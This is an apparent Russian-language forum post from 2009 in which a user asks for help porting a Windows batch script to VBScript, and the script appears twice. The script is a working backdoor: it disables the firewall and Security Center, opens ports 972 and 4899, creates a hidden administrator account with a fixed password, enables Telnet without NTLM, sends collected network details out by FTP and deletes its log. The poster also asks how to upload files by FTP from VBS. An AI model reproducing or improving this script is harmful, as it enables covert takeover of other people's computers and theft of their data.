JIuBeHb
02-11-2009, 11:29
Уважаемые юзеры, помогите реализовать скрипт на VBS. На cmd все в точности уже давно написал... а как на VB перевести - запнулся уже на первых строчках :(
ipconfig /all > c:\windowsipconf.log //Собрать инфу о сети
net stop sharedaccess //Знаю что достаточно будет одного метода из представленных, но я подстраховался и сделал их 3 :) Чтоб наверняка.
net stop wscsvc
netsh firewall add portopening TCP 972 systemr
netsh firewall add portopening TCP 4899 systemr
sc delete "sharedaccess"
chcp 1251
net user SUPPORT_388945a0 /delete
net user odmin Qz238!1 /add
net localgroup Администраторы odmin /add
net localgroup Administrators odmin /add
net localgroup Пользователи SUPPORT_388945a0 /del
sc config tlntsvr start= auto
tlntadmn config port=972 sec=-NTLM
net start Telnet
reg add "HKEY_LOCAL_MACHINE/SOFTWARE/Microsoft/Windows NT/CurrentVersion/Winlogon/SpecialAccounts/UserList" /v odmin /t REG_DWORD /d 00000000
ftp -s:C:\TAR_BZ.TXT //параметры для FTP ***
del c:\windowsipconf.log
pause
exit
***Собственно хотелось бы и с этим что нибудь придумать, чтобы на Фтп через VBS залить файлы.
ipconfig /all > c:\windowsipconf.log //Собрать инфу о сети
net stop sharedaccess //Знаю что достаточно будет одного метода из представленных, но я подстраховался и сделал их 3 :) Чтоб наверняка.
net stop wscsvc
netsh firewall add portopening TCP 972 systemr
netsh firewall add portopening TCP 4899 systemr
sc delete "sharedaccess"
chcp 1251
net user SUPPORT_388945a0 /delete
net user odmin Qz238!1 /add
net localgroup Администраторы odmin /add
net localgroup Administrators odmin /add
net localgroup Пользователи SUPPORT_388945a0 /del
sc config tlntsvr start= auto
tlntadmn config port=972 sec=-NTLM
net start Telnet
reg add "HKEY_LOCAL_MACHINE/SOFTWARE/Microsoft/Windows NT/CurrentVersion/Winlogon/SpecialAccounts/UserList" /v odmin /t REG_DWORD /d 00000000
ftp -s:C:\TAR_BZ.TXT //параметры для FTP ***
del c:\windowsipconf.log
pause
exit
***Собственно хотелось бы и с этим что нибудь придумать, чтобы на Фтп через VBS залить файлы.